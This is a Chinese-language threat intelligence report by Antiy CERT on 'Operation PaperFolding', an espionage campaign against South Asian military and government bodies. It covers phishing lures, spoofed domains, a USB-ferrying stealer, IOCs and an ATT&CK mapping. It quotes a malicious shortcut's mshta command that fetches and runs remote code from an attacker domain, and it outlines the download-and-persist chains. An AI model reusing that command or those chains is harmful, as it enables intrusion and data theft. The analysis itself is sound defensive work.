“折纸”行动:针对南亚多国军政机构的网络攻击
时间 : 2020年01月15日 来源: 安天CERT
1、背景概述
一直以来,南亚地区都是APT攻击的焦点区域之一。安天从2014年基于分析成果曝光白象攻击组织起,已经先后发布了《白象的舞步——来自南亚次大陆的网络攻击》[1]、《潜伏的象群——来自南亚次大陆的系列网络攻击行动》[2]等多篇分析报告,对来自南亚次大陆方向的多个攻击组织的攻击活动进行了系统曝光和溯源。在过去的2019年,安天CERT(应急响应中心)继续关注相关威胁来源方向,接连捕获多批针对南亚多国军事、政府和教育等实体的攻击样本,且样本之间存在一定关联,攻击者带有明显窃密意图,受害者集中于巴基斯坦,少量分布在孟加拉、斯里兰卡和马尔代夫等南亚国家。根据当前观测数据,攻击者投递的诱饵文件形态丰富,诱饵的主题涉及军情事务、地缘争端、核武器、区域会议等重要话题,攻击者所使用的木马武器既有开源工具、也有自研工具,包括其中一种通过U盘摆渡机制,突破内网隔离以获取内网数据的木马。这一系列的攻击活动至少在2017年7月已经开始,迄今仍保持活跃。通过溯源分析,这些攻击样本来自被安天命名为“幼象”的组织(考虑到组织攻击手法简单、载荷还不成熟等特点,因此我们命名为“幼象”),其手法和装备与“白象”组织有一定差异,同时我们判断该组织与友商命名为“响尾蛇”的攻击组织存在关联。根据攻击者擅长依托少量资源伪装变换的特点,我们将这系列攻击活动命名为“折纸”行动(Operation PaperFolding)。
2、攻击活动分析
2019年6月,相关攻击活动引起巴基斯坦相关机构的关注。2019年6月25日,巴基斯坦国家电信和信息技术安全委员会(NTISB)发出全国网络威胁预警[3],称存在一批针对巴基斯坦国防和政府组织的钓鱼邮件活动,攻击目的是窃取机密数据,攻击者还对巴基斯坦原子能委员会(PAEC)发动了伪造成官方网页的钓鱼网站(骗取邮箱账号密码)攻击。此后,巴基斯坦电力信息技术公司(PITC)给出了更多的细节[4]:
1.鱼叉邮件的主题包括:“中印峰会期间的关键讨论要点”、“巴基斯坦MOFA(外交部)官员的工资”、 “2019年11月9日卡塔普尔走廊的就职典礼”、“Cyber Policy 2019”和“NDU国外学习之旅(FST)-2020”等。
2.虚假的邮件发件人:“dgpr.paknavy.gov.pk@email.com”和“arif9945@baf.mil.bd”,收件人都位于巴基斯坦境内。
3.诱饵文件通过邮件正文中的下载链接传播,大多数挂载于域名“pakcert.gov-pk.org”下,诱饵文件的类型包括:快捷方式、伪装成PDF的程序、宏文档等,被执行后会先展示一个看似来自官方的掩饰文档。
4.攻击者还通过“mail.paec.gov-pk.org”等钓鱼链接攻击巴基斯坦用户。
2019年1月,安天陆续捕获到相关攻击波次样本,通过安天赛博超脑威胁情报分析子系统、样本分析子系统扩线分析,对相关攻击载荷的进行了全面的关联。攻击者使用了多种类型的攻击载荷和社工技巧,包括通过带有图标欺骗的PE可执行文件释放掩护图片、WinRAR自解压包同时打开掩护文件和木马程序、采用压缩包伪装指向恶意URL的LNK文件、以及带有格式文档漏洞或恶意宏的文档文件等。攻击目标集中于巴基斯坦,少量分布在其他南亚国家。文件名和释放的掩饰文件皆以巴基斯坦军事情报、中印、印巴边境问题、网络安全和核武器援助问题等为主体。木马载荷既有自研通过C++编写的窃密木马(可借助U盘突破内网隔离)、Python语言编写的木马和Go语言编写的木马,也用公开的Empire渗透框架和Exploit Pack漏洞攻击平台。最早发现的攻击样本编译于2017年7月,最新的编译于2019年10月16日,活动特征总结如下:
表2-1 活动特征总结
攻击时间 |
至少始于2017年7月,迄今保持活跃 |
攻击意图 |
窃密、刺探 |
针对目标 |
集中于巴基斯坦,其他少量分布在孟加拉国、斯里兰卡和马尔代夫等南亚国家。 |
针对行业/领域 |
政府、军事、国防、外交、核能、金融、教育、电信等 |
攻击手法 |
鱼叉邮件、钓鱼网站 |
涉及平台 |
Windows、Linux |
攻击技术 |
纯脚本载荷、突破内网隔离、恶意宏、图标伪装、后缀名伪装、域名伪装 |
诱饵类型 |
图标伪装EXE、PDF图标自解压、Office文档、快捷方式等 |
使用漏洞 |
CVE-2017-11882、CVE-2018-0802 |
开发语言 |
C++、Python、PowerShell、HTML和Go语言 |
武器装备 |
Empire框架、Exploit Pack平台、自研C++窃密木马,自研Python木马 |
表 2-2典型诱饵一览
文件名 |
时间戳 |
释放的掩饰文件主题 |
Registration_Details.zip |
2019-10-13
13:53:20 |
巴基斯坦空军大学简介。 |
CNS_Guidelines_2019.zip |
2019-05-13
15:30:36 |
网络安全注意事项。 |
shipment.rar |
2019-04-30
12:15:14 |
网络安全注意事项。 |
Response_of_Turkey_to_ISI_Help.exe |
2019-01-29
05:49:12 |
土耳其回应对巴基斯坦三军情报局(ISI)的军事援助。 |
Betrayal_of_Pakistan_by_China.exe |
2018-12-18
02:36:04 |
印度、巴基斯坦和中国在克什米尔边境线和Shaksgam谷地的军事战略问题。 |
ISI_Role_Sino-PAK_Nuclear_Deal.exe |
2018-10-25
06:04:33 |
巴基斯坦三军情报局(ISI)是否能够获取中国对其的核武器援助。 |
Emergency-Contact-Numbers.pdf.exe |
2018-03-01
17:34:25 |
斯里兰卡各境内机构的紧急联系方式。 |
provisionalagenda.pdf.exe |
2018-02-07
14:30:11 |
2018年4月9-12日期间,印度中央邦印多尔辉煌会议中心召开亚太地区第八届3R论坛。 |
UPDATED Program Dec 6 Trident Conference.pdf.exe |
2017-12-08
17:24:38 |
2017年12月19日,伊斯兰堡战略研究所召开“巴基斯坦-中国-伊朗国际会议:区域互联互通的传统”的议程安排。 |
Application_form_section_17.pdf.exe |
2017-12-05
16:00:37 |
斯里兰卡投资委员会(BOI)投资申请表。 |
IONS Contact List.pdf.exe |
2017-11-27
11:13:18 |
印度洋海军研讨会联系人列表,截至2017年10月29日。 |
AfghanOriginVisaForm.pdf.exe |
2017-11-23
16:47:31 |
巴基斯坦政府签证申请表。 |
AirForce Headquarter.pdf.exe |
2017-11-13
12:00:30 |
2017年11月11日,巴基斯坦空军总部与伊斯兰堡万豪酒店的服务议价协议书。 |
Naval Headquarter.pdf.exe |
2017-11-07
11:39:51 |
2017年10月11日,巴基斯坦海军总部与伊斯兰堡万豪酒店的服务议价协议书。 |
Pakistan-Afghanistan Graduate Association.exe |
2017-10-03
16:52:47 |
巴基斯坦-阿富汗研究生协会(PAGA)的简介。 |
Karachi GOlf Club Newsletter june 2017.pdf.exe |
2017-07-12
10:45:54 |
2017年4月至5月,巴基斯坦卡拉奇高尔夫俱乐部会员每月通讯。 |
图2-1 2019年10月样本释放的文件谈及巴基斯坦空军大学校园简介
注:
巴基斯坦空军大学(Air University, Islamabad)由巴基斯坦空军(PAF)于2002年成立。它是一所民办大学,提供IT,工程,业务管理和人文学科的本科和研究生课程,由巴基斯坦空军的教育司令部管理。(wikipedia)
图2-2 2019年1月样本释放的文件谈及土耳其回应对巴基斯坦三军情报局(ISI)的军事援助
图2-3 2018年12月样本释放的文件谈及印巴和中国在克什米尔和Shaksgam谷地的军事战略问题
图2-4 2018年10月样本释放的文件谈及巴基斯坦三军情报局(ISI)能否获取他国核武器援助
图2-5 2017年12月样本释放的文件谈及“巴基斯坦-中国-伊朗国际会议:区域互联互通的传统”
攻击者使用的域名及有自行注册的和动态的二级域名,命名构词皆参考现实中巴基斯坦的军事、国防、教育、电信、银行和网络安全等机构的官网和名称:
表 2-3 攻击者使用域名仿冒巴方机构情况
C2域名 |
关键词 |
对应现实中的机构 |
官方网站 |
auniversity.myftp.org |
auniversity |
巴基斯坦空军大学(Air University):由巴基斯坦空军(PAF)于2002年成立,归巴基斯坦空军的教育司令部管理。 |
au.edu.pk |
quwa-paf.servehttp.com |
quwa-paf |
“Quwa”国防新闻与分析小组的“巴基斯坦空军力量”板块(Pakistan Air Force,PAF):Quwa是巴基斯坦著名防务新闻网站,旨在提供有关现代国防系统及其战术应用的相关分析,专注于亚洲,非洲和中东国家。 |
quwa.org |
modp.myftp.org |
modp |
巴基斯坦国防生产部(Ministry of Defence Production,MODP):主要职责是协调巴基斯坦国防军的备品和材料生产。 |
modp.gov.pk |
mail-modp.sytes.net |
|||
nitb.pk-gov.org |
nitb |
巴基斯坦国家信息技术委员会(NATIONAL INFORMATION TECHNOLOGY BOARD,NITB):受权向巴基斯坦公共部门组织提供广泛的技术指导和咨询服务。 |
nitb.gov.pk |
ntc-pk.sytes.net |
ntc-pk |
巴基斯坦国家电信公司(National Telecom Corporation,NTC):旨在根据联邦政府的决定,向武装部队、国防项目、省政府/联邦政府部门和机构提供安全可靠的电信服务。 |
ntc.net.pk |
mlibinternetbanking.gov-pk.org |
mlib internetbanking |
巴基斯坦穆斯林伊斯兰银行(Muslim Islamic Bank) |
mcbislamicbank.com |
nccs.pk-gov.org |
nccs |
巴基斯坦国家网络安全中心(Pakistan National Center for Cyber Security) |
nccs.pk |
cert.pk-gov.org |
Pakcert、cert |
巴基斯坦国家CERT(Pakistan Computer Emergency Response
Team) |
pakcert.org |
pakcert.gov-pk.org |
此外还有一些mail开头的邮箱钓鱼网站,攻击目标除了巴基斯坦原子能委员会,还包括孟加拉海军和马尔代夫外交部。盗取的邮箱账号可能会被继续用来发送鱼叉式钓鱼邮件,如上文中攻击者曾冒用孟加拉国空军的邮箱“arif9945@baf.mil.bd”:
表 2-4邮箱钓鱼网站
钓鱼网站 |
关键词 |
对应现实中的机构 |
官方邮箱网站 |
mail.paec.gov-pk.org |
paec.gov-pk |
巴基斯坦原子能委员会(Pakistan Atomic Energy Commission)致力于核电核科学的研究与开发。 |
mail.paec.gov.pk |
mail.navy.mil.bd. mailupdatenavybdzimbra.gov-pk.org |
navy.mil.bd |
孟加拉国海军(Bangladesh Navy)是孟加拉国家武装部队的海战分支。 |
mail.navy.mil.bd |
mfamail.foreign.gov.mv. mfamailzimbraupdation.gov-pk.org |
foreign.gov.mv |
马尔代夫共和国-外交部(Ministry of Foreign Affairs - Republic
of Maldives - MFA) |
mfamail.foreign.gov.mv |
mail.yahoo.com. ymailserviceauthentication.gov-pk.org |
mail.yahoo.com |
雅虎邮箱(Yahoo Mail) |
mail.yahoo.com |
3、样本分析
目前观察到样本主要分5类:带有社工图标伪装的PE可执行载荷(EXE)、带有图标伪装的WinRAR自解压程序、恶意快捷方式(LNK)、攻击文档和Linux端木马,此处各取一例深入分析。
3.1 带有图标伪装的EXE
该类样本将自身图标伪装成图片或文档,文件名对应掩饰文档皆以巴基斯坦与周边国家的军事/情报/核技术活动为主题。最终植入的木马能非常详细地采集系统信息,搜集注册表和文件系统中的登录凭证,并窃取机器本地和可移动存储设备中常见的后缀名文件。为了应对与互联网断开的环境,该木马会感染每一个之后接入的可移动存储设备和网络驱动器:将窃取的文件和信息存放在可移动存储设备或网络驱动器的隐藏目录中,再将自身复制至该可移动存储设备或网络驱动器的根目录下,还原成最初的诱饵文件,诱导更多的受害者点击运行,以此在内网进行有限的横向移动。
最终效果将形成一个个藏有窃密数据的可移动存储设备,一旦其中某个设备感染到一台能连接互联网的机器,便会将窃取的数据复制到该机器的“%appdata%”目录下,尝试连接C2等待攻击者上传,以此突破内网隔离。整个流程能形成一定的内网窃密(重要文件)和内网测绘(系统信息、网络信息、登录凭证)效果。木马包含许多调试信息,多处参考公开代码,实际传播效果也很有限,猜测目前尚处于试验阶段。
图3-1 第一类样本的窃密执行流程
表3-1 样例样本1
病毒名称 |
Trojan/Win32.Spy-gen |
原始文件名 |
ISI_Role_Sino-PAK_Nuclear_Deal.exe |
MD5 |
3D6AAB4E4E055B9C50837C6ADC97E060 |
处理器架构 |
Intel 386 or later, and compatibles |
文件大小 |
2.29 MB (2,404,864 字节) |
文件格式 |
Win32 EXE |
时间戳 |
2018-10-25 05:04:33 |
加壳类型 |
NO |
编译语言 |
Microsoft Visual C/C++(2010)[libcmtd] |
PDB路径 |
D:\Project\C\package_Picture_USB\Release\packagePD.pdb |
VT检测结果 |
44 / 70 |
图3-2 样本“ISI_Role_Sino-PAK_Nuclear_Deal.exe”的图标伪装
样本“ISI_Role_Sino-PAK_Nuclear_Deal.exe”的图标为图3-4的缩略图。被点击运行后首先判断自身文件名是否被改为"tasksmngr.exe",没有则开始植入流程。
植入流程首先读取资源节中图片,释放至同目录下与自身同名的“.bmp”文件,并打开展示给受害者:
图3-3 释放资源节的图片文件并打开
释放的图片是关于“巴基斯坦三军情报局(ISI)能否获取中国对其的核武器援助”(Is ISI capable to fetch China's discreet help to Pakistan for its nuclear weapons campaign?)的文档截图:
图3-4 展示给受害者的掩饰图片
然后将自身复制至“%appdata%\tasksmngr.exe”并执行。之后释放“随机名”.bat脚本,用于在注册表启动项和任务计划实现持久化:
图3-5 释放实现持久化的BAT脚本
此后“ISI_Role_Sino-PAK_Nuclear_Deal.exe”退出,“tasksmngr.exe”被计划任务执行。“tasksmngr.exe”先尝试连接"https://www.google.com",判断当前网络是否连接互联网:
图3-6 判断当前系统是否连接互联网
创建名为"DevNotifyTest"的窗口类等待消息,当机器有外部设备的接入、移除或配置更改,则开始文件的搜集窃取操作:
图3-7 当机器有外接设备的接入、移除或配置更改则开始后续操作
a) 当前网络与互联网连通时,先判断接入的设备是否为可移动驱动器,比如软盘和USB设备。
图3-8 检查接入的设备是否为可移动驱动器
如果是可移动驱动器,则搜集该驱动器上所有后缀名为“doc、docx、ppt、pptx、zip、rar”(有更多样本还寻找“txt、pdf、jpg和jpeg”)的文件,将这些文件复制到“%appdata%”目录下。但该木马未有立即上传这些文件,猜测是攻击者考虑到可能面临大量的文件,会通过木马下发命令或工具,挑选重要的部分再上传。最后,"tasksmngr.exe"将自身复制到该驱动器上的根目录下,重命名为“ISI_Role_Sino-PAK_Nuclear_Deal.exe”,还原成最初的诱饵文件:
图3-9 搜集接入的可移动驱动器上符合指定后缀名的文件
图3-10 其他样本会搜集更多种类后缀名的文件
b) 当前网络与互联网断开时,首先判断接入的设备是否为可移动驱动器或网络驱动器:
图3-11 检查插入的设备是否为可移动驱动器或网络驱动器
如果是可移动驱动器或网络驱动器,则将本地“Recent”(最近使用的项目)目录中所有后缀名为“doc、docx、ppt、pptx、zip、rar”(有其他样本还寻找“txt、pdf、jpg和jpeg”)的文件,复制到在可移动驱动器或网络驱动器新建的隐藏目录“Documents”中:
图3-12 搜集符合后缀名列表的文件,写入可移动驱动器或网络驱动器的隐藏目录
然后执行大量命令语句,详细地搜集系统信息和登录凭证,将结果写入在可移动驱动器或网络驱动器新建的隐藏目录“Documents”下的“sysinfo_{MAC地址}.txt”文件中。最后,"tasksmngr.exe"将自身复制到该驱动器上的根目录下,重命名为“ISI_Role_Sino-PAK_Nuclear_Deal.exe”,还原成最初的诱饵文件:
图3-13 搜集系统信息和凭证,写入隐藏目录下的TXT文件
木马一旦检测到当前环境能与互联网连通,则尝试与C2:ntc-pk.sytes.net连接。支持的木马指令有“list”和其他:
“list”指令:负责返回当前机器的用户名。
其他指令:负责执行C2下发的CMD命令。(猜测这步会下发更多命令和工具)
3.2 带有图标伪装的自解压文件
采用WinRAR构造的自解压样本,同时实现执行自解压包中的样本和打开社工掩护的文档文件,是该攻击行动中有别于前文由载荷释放社工掩护图片的第二种社工方式。WinRAR自解压样本,采用将木马程序和社工掩护文档打包在一起,并通过WinRAR自解压样本的配置实现样本执行和文档文件的关联打开。
目前发现该类样本的社工掩护文档的主题包括:
正文截图 |
关键句 |
主题 |
|
THE MONTHLY NEWSLETTER FOR KARACHI GOLF CLUB MEMBERS |
2017年4月至5月,巴基斯坦卡拉奇高尔夫俱乐部会员每月通讯。 |
|
Rate and Service Agreement by: Islamabad Marriott Hotel Pakistan and Naval Headquarter |
2017年10月11日,巴基斯坦海军总部与伊斯兰堡万豪酒店的服务议价协议。 |
|
INDIAN OCEAN NAVAL SYMPOSIUM CONTACT LIST. As of 29 October 2017 |
截至2017年10月29日,印度洋海军研讨会联系人列表。 |
|
Rate and Service Agreement by: Islamabad Marriott Hotel Pakistan and Air Force Headquarters |
2017年11月11日,巴基斯坦空军总部与伊斯兰堡万豪酒店的服务议价协议。 |
|
International Conference On PAKISTAN-CHINA-IRAN: A TRIDENT OF REGIONAL CONNECTIVITY, December 19, 2017. Organized by: The Institute of Strategic Studies, Islamabad |
2017年12月19日,伊斯兰堡战略研究所召开“巴基斯坦-中国-伊朗国际会议:区域互联互通的传统”的议程安排。 |
|
BOARD OF INVESTMENT OF SRI LANKA APPLICATION FOR APPROVAL OF AN INVESTMENT UNDER SEC. 17 OF THE BOI LAW |
斯里兰卡投资委员会(BOI)投资申请表。 |
|
Range, Division, Desk, Tele:No IG's Command Room Police Emergency Service Eastern Range South North Central Range ... |
斯里兰卡各境内机构的紧急联系方式。 |
|
EIGHTH REGIONAL 3R FORUM IN ASIA AND THE PACIFIC. 9-12 April 2018. Brilliant Convention Centre, Indore, Madhya Pradesh, India |
2018年4月9-12日期间,印度中央邦印多尔辉煌会议中心召开亚太地区第八届3R论坛。 |
|
GOVERNMENT OF PAKISTAN VISA APPLICATION FORM |
巴基斯坦政府签证申请表。 |
|
Pakistan-Afghanistan Graduate Association (PAGA) |
巴基斯坦-阿富汗研究生协会(PAGA)简介。 |
以样本“Karachi GOlf Club Newsletter june 2017.pdf.exe”为例,
表3-3 样例样本2
病毒名称 |
Trojan[Downloader]/Win32.PsDownload |
原始文件名 |
Karachi GOlf Club Newsletter june 2017.pdf.exe |
MD5 |
c671362015dab11c0b552d8b4112825a |
文件大小 |
13.2 MB (13,884,914 字节) |
文件格式 |
Win32 EXE |
最后编辑时间 |
2017-07-03 13:57:09 |
时间戳 |
2016-08-14 20:15:49 |
VT检测结果 |
10 / 63 |
其被运行后会依次打开用于社工掩护的PDF文档“news-ltr.pdf”,和木马文件“RichAudio.exe”:
图3-14 自解压样本“Karachi GOlf Club Newsletter june 2017.pdf.exe”
“news-ltr.pdf”的内容为:2017年4月至5月,巴基斯坦卡拉奇高尔夫俱乐部会员每月通讯,主要介绍该高尔夫俱乐部高级会员的相关新闻活动:
图3-15“news-ltr.pdf”的正文
“RichAudio.exe”是Python语言编写的木马,图标和名称皆伪装成系统音频相关程序,C2为“110.10.176.193”(其他样本还同时存在备用的C2:“pakcert.hopto.org”),木马能以邮件附件的形式,将本地文件发送至C2下发的指定Gmail账号,完整指令功能如表3-3所示:
图3-16 木马备用C2的情形
图3-17 木马的邮箱发送功能及其实现
表3-4 Python木马支持的指令功能
指令 |
功能 |
quit |
关闭连接,退出木马 |
shell |
执行PowerShell命令,或创建子进程 |
chdir |
切换目录 |
put |
上传文件至C2 |
mail |
发送本地文件至C2指定的Gmail邮箱 |
dne |
创建线程 |
3.3 压缩打包的快捷方式
压缩打包用于社工掩护的PDF文档文件和双扩展名的恶意LNK文件,是行动中使用的第三种社工方式。打包后的文件可挂载于一个网站用于钓鱼攻击:
http[:]//auniversity.myftp.org/Registration_Details.zip?id=P36
图3-18 压缩包存放的恶意快捷方式
表3-5 样例样本3
病毒名称 |
Trojan[Downloader]/Win32.DownLnk |
原始文件名 |
Eligibilty.pdf.lnk |
MD5 |
791253aded5df197d9db441a6fe2eb4e |
文件大小 |
1.24 KB (1,278 字节) |
文件格式 |
Windows shortcut |
最后修改时间 |
2018-04-12 00:33:56 |
最后访问时间 |
2019-10-13 06:50:35 |
LocalBasePath |
C:\Windows\System32\mshta.exe |
MachineID |
desktop-ottr49k |
VT检测结果 |
16 / 57 |
快捷方式“Eligibilty.pdf.lnk”的作用为运行远程HTA脚本:
“C:\Windows\System32\mshta.exe http[:]//auniversity.myftp.org/kynZ_FPH4.hta”
“kynZ_FPH4.hta”会继续从“http[:]//auniversity.myftp.org/FPH4”下载正常的PDF文档并打开,然后从“http[:]//auniversity.myftp.org/updat.b64”下载数据,Base64解码得到木马程序,保存至"%appdata%/pdat.exe"并运行。最后添加任务计划,每分钟运行一次"%appdata%/pdat.exe",实现持久化。
图3-19 HTA脚本负责下载后续的PDF白文档和Base64编码的木马程序
PDF掩护文档的主题是介绍“巴基斯坦空军大学校园”:
图3-20 下载并打开的PDF文档展示巴基斯坦空军大学的简介
下载回来的数据包含Base64编码的PE文件,解码后得到Python编写的木马程序:
图3-21 Base64编码的PE数据
表3-6 Python木马样本
病毒名称 |
Trojan[Backdoor]/Python.SpyGate |
原始文件名 |
pdat.exe |
MD5 |
6A271282FE97322D49E9692891332AD7 |
处理器架构 |
Intel 386 or later, and compatibles |
文件大小 |
4.25 MB (4,465,740 字节) |
文件格式 |
Win32 EXE |
时间戳 |
2018-09-04 14:43:33 |
加壳类型 |
NO |
编译语言 |
Python |
VT检测结果 |
19 / 69 |
该木马会搜集系统信息,连接C2:quwa-paf.servehttp.com,支持的指令如表3-7所示:
表3-7 Python木马支持的指令功能
指令 |
功能 |
exit |
退出木马连接 |
cd |
切换目录 |
其他 |
执行C2的下发CMD命令 |
图3-22 Python木马负责搜集系统信息并支持3种指令
更多相关样本:
更多LNK样本使用的C2是“gov-pk.org”,与第一类样本中的域名“pk-gov.org”一样,都是在2018年8月30日这一天注册的,前后相差一小时。此外,在2018年8月30日至9月2日期间,这两个域名同时开始频繁地在“198.54.117.197—198.54.117.200”这个IP段做解析。也就是说,“gov-pk.org”和“pk-gov.org”基本确定是同一攻击者一次性注册、分批使用的:
图3-23“gov-pk.org”和“pk-gov.org”极可能是一次性注册
排查“gov-pk.org”时发现以下链接:
1. “http[:]//pakcert.gov-pk.org/CNS_Guidelines_2019.zip”, ZIP文件“CNS_Guidelines_2019.zip”包含恶意快捷方式“Cyber_Security.docx.lnk”;
2. “http[:]//pakcert.gov-pk.org/shipment.rar”,RAR文件“shipment.rar”包含恶意快捷方式“Shipment.docx.lnk”。
“Cyber_Security.docx.lnk”和“Shipment.docx.lnk”的行为基本相同,以“Cyber_Security.docx.lnk”为例:
表3-8 样例样本4
病毒名称 |
Trojan[Downloader]/Win32.DownLnk |
原始文件名 |
Cyber_Security.docx.lnk |
MD5 |
02e81e2ba998919f1716b881505f2a89 |
文件大小 |
2.49 KB (2,552 字节) |
文件格式 |
Windows shortcut |
创建时间 |
2018-04-12 00:35:26+01:00 |
最后修改时间 |
2018-04-12 00:35:26+01:00 |
LocalBasePath |
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe |
MachineID |
desktop-9hlv1qc |
VT检测结果 |
24 / 56 |
“Cyber_Security.docx.lnk”负责运行远程HTA脚本:http[:]//pakcert.gov-pk.org/zaqxswcde.hta:
图3-24 脚本“zaqxswcde.hta”
“zaqxswcde.hta”首先获取掩饰文档“Cyber_Security.rtf”并打开。“Cyber_Security.rtf”的正文是维护网络安全的注意事项:
图3-25 掩饰文档“Cyber_Security.rtf”
然后运行远程HTA脚本:http[:]//pakcert.gov-pk.org/zaqxswcde.hta。“zaqxswcde.hta”用于运行下一阶段的PowerShell脚本“http[:]//pakcert.gov-pk.org/poilkjmnb”:
图3-26 脚本“zaqxswcde.hta”
“poilkjmnb”负责再从“http[:]//pakcert.gov-pk.org/zaqxswcde.hta”获取一份HTA脚本,保存至每个账户的启动目录下的“Windows.hta”,并运行新的远程PowerShell脚本“zxcvqwerasdf”:
图3-27 脚本“poilkjmnb”
脚本“zxcvqwerasdf”是典型的Empire框架生成的PowerShell载荷(Empire是著名的开源渗透框架,以纯脚本免杀和丰富的后渗透功能而闻名),会尝试连接C2:
http[:]//pakcert.gov-pk.org:443/admin/get.php、
http[:]//pakcert.gov-pk.org:443/news.php、
http[:]//pakcert.gov-pk.org:443/login/process.php
图3- 28 Empire载荷“zxcvqwerasdf”
3.4 格式文档类样本
格式文档类样本有CVE-2017-11882的漏洞利用和恶意宏文档:
表3-9 样例样本5
病毒名称 |
Trojan[Exploit]/OLE.CVE-2017-11882 |
原始文件名 |
Pay_Slip2.txt |
MD5 |
9c9ff19affff6d62e72e618f2b7284da |
文件大小 |
66.6 KB (68,223 字节) |
文件格式 |
Document/Microsoft.RTF |
首次发现时间 |
2019-02-25 10:46:31 UTC |
代码页 |
Western European |
VT检测结果 |
38 / 58 |
样本“Pay_Slip2.txt”利用了CVE-2017-11882漏洞,数据流中能看到执行对象是一段PowerShell命令:
图3-29“Pay_Slip2.txt”的执行载荷
Base64解码该命令,发现是一段典型的Empire渗透框架生成的PowerShell载荷。载荷尝试连接C2:
http[:]//pakcert.gov-pk.org:4443/news.php
表3-10 样例样本6
病毒名称 |
Trojan/Script.Agent.gen |
原始文件名 |
learnObot.docm |
MD5 |
ab88bef8a85aae29dbd6efc3137f227f |
文件大小 |
22.1 KB (22,670 字节) |
文件格式 |
Document/Microsoft.DOCX[:Word 2007-2013] |
创建时间 |
2017-10-24 07:54:00 |
最后修改时间 |
2017-10-24 07:54:00 |
创建者 |
Sony Vaio |
最后修改者 |
admin |
VT检测结果 |
37 / 60 |
恶意宏文档“learnObot.docm”正文介绍的是巴基斯坦LearnOBots教育技术公司的课程简介:
图3-30“learnObot.docm”的正文
宏代码执行对象是一段PowerShell命令,解码后发现也是一段典型Empire的PowerShell载荷。载荷尝试连接C2:
http[:]//110.10.176.193:4443 /login/process.php
此外,IP“110.10.176.193”还曾绑定3.3章节中的域名“pakcert.hopto.org”。
3.5 Linux端样本
表3-11 样例样本7
病毒名称 |
Trojan[Downloader]/Python.Agent.n |
原始文件名 |
intern |
MD5 |
6a19e8a202dfdb11bf3aaf9e53f8776a |
文件大小 |
4.16 MB (4,369,144 字节) |
文件格式 |
Linux/ELF64.Executable |
首次发现时间 |
2019-02-20 05:50:23 UTC |
代码页 |
Western European |
VT检测结果 |
1 / 57 |
样本“intern”是Linux端的木马,由Python编写,目前仅安天“Antiy-AVL”一家引擎可将其检出。其核心代码是Exploit Pack平台生成的,可用于创建一个Reverse shell,C2为内网IP,可能是测试时所用:
图3-31 Linux木马的主要功能为创建一个反向shell
4、溯源分析
4.1 上传者分析
将RTF文档“Pay_Slip2.txt”在安天样本捕获体系中进行关联排查,发现更多同批次捕获到的、具有相同来源的样本。样本在第三方平台的上传记录来自一个位于印度的IP地址,上传的文件包括CVE-2018-0802的漏洞利用脚本和多例C2为内网IP的测试样本。随着更多溯源线索的出现,我们排除了上传者使用网络代理的可能,并判断这些上传行为很可能是来自一名或多名(如:皆处于某内网,共用该外网IP)攻击者。
上传的文件中,除了工具和各种测试样本,值得关注的还有:
1. PE样本:loc.exe,98cc17985510ee4c259447b7c4a2a684,其带有PDF的图标伪装,功能只是简单地从“115.111.244.34”获取PowerShell脚本并执行:
图4-1“loc.exe”带有PDF图标伪装
图4-2“loc.exe”的主要功能
挂载IP:115.111.244.34位于印度德里,由印度通讯服务商Tata Communications提供。
2. BAT脚本:lotus.bat,解码后得到PowerShell脚本,C2也是115.111.244.34:
图4- 3 BAT脚本“lotus.bat”的内容
3. js脚本“a.js”,“a.js”会从以下URL获取载荷并运行:
https[:]//akamai-edge.net/s3/3.jpg
对“akamai-edge.net”做关联,发现一例恶意LNK样本“cybersec.doc.lnk”,该LNK会通过mshta.exe运行远程HTA脚本“https[:]//akamai-edge.net/s3/4.jpg”,“4.jpg”与“a.js”在文件内容上是完全一样。
值得注意的是,恶意LNK“cybersec.doc.lnk”的创建者ID:“desktop-q1k**i”,也被多例已知的“响尾蛇”组织LNK类样本所使用,“cybersec.doc.lnk”在此前“响尾蛇”组织的攻击活动中发现过,上传的脚本“a.js”是该组织使用过的中间载荷。
4.2 特殊的IP
域名“mlibinternetbanking.gov-pk.org”曾于2019年9月5日至2019年10月4日期间解析到IP:185.225.17.40:
图4-4“mlibinternetbanking.gov-pk.org”的IP解析记录
此后,IP:185.225.17.40经历一个月的闲置期,在2019年11月,又被响尾蛇组织的“ap1-acl.net”系列域名解析使用。
图4-5 IP: 185.225.17.40的域名绑定记录
5、攻击者资产
根据目前的观测,攻击行动共涉及域名12个,其中动态域名10个,自行注册的域名2个,私有IP地址5个。当前所有IOC及关联关系如下图:
图5-1 当前观测到的样本集和关联关系
6、基于威胁框架视角的攻击映射分析
由于攻击组织能力和作业模式的差别,安天采用两套威胁框架视角分析相关组织和行动。2019年安天的两篇报告《震网事件的九年再复盘与思考》[5]和《“方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告》[6]均将攻击活动映射TCTF威胁框架,但本次攻击行动相对更加简单和依赖单点战术,因此我们将涉及到的威胁行为技术点映射到ATT&CK框架,如图6-1所示:
图6 1 “折纸行动”映射到ATT&CK框架
行动中涉及8个阶段25个技术点,具体技术行为描述如下表
表6-1“折纸行动”具体技术行为描述表
ATT&CK阶段/类别 |
具体行为 |
初始访问 |
发送伪装成来自官方的鱼叉邮件发送恶意附件或者钓鱼链接;通过感染可移动介质传播自身; |
执行 |
使用HTA、PowerShell等脚本执行;使用计划任务执行; |
持久化 |
创建计划任务定时执行;使用reg add命令添加注册表启动项; |
发现 |
使用CMD命令:枚举账户和权限、本地网络连接、本地网络设置、系统信息、进程、可访问网络; |
横向移动 |
通过可移动介质复制:放置诱饵文件至U盘根目录; 写入远程文件共享:放置诱饵文件至网络驱动器根目录 |
收集 |
从本地系统收集:多款木马支持从本地搜集信息和文件 |
命令与控制 |
发送命令:多款木马支持多种指令功能 利用远程shell:多款木马支持执行CMD或shell命令 |
渗出 |
通过C2信道发送:窃取的文件和信息通过C2通道渗出; 通过物理方法传输:通过外携U盘的隐藏目录突破内网隔离。 |
7、小结
这是一系列持续至少两年的网络攻击活动,主要针对巴基斯坦军事、政府、教育等机构。从技术能力上看,攻击者的技术粗糙、手法简单粗暴,但社工技巧纯熟,方式多样,采用撒网式的大规模邮件投递攻击方式,同时样本也有一定的向内网,包括隔离网内进行摆渡攻击的能力。相关攻击带有明显的情报窃取意图。从该系列攻击活动中可以看出,带有社工伪装的恶意邮件依然是APT攻击的重要入口,同样也是国内用户需要关注的风险敞口。看起来粗糙的攻击方式,往往更能够暴露出防御的缺陷。从边界、流量和分析侧完善恶意代码检测能力,完善电子邮件系统的安全防御能力,增强端点主防能力,都是应对相关攻击需要完善的防御点。
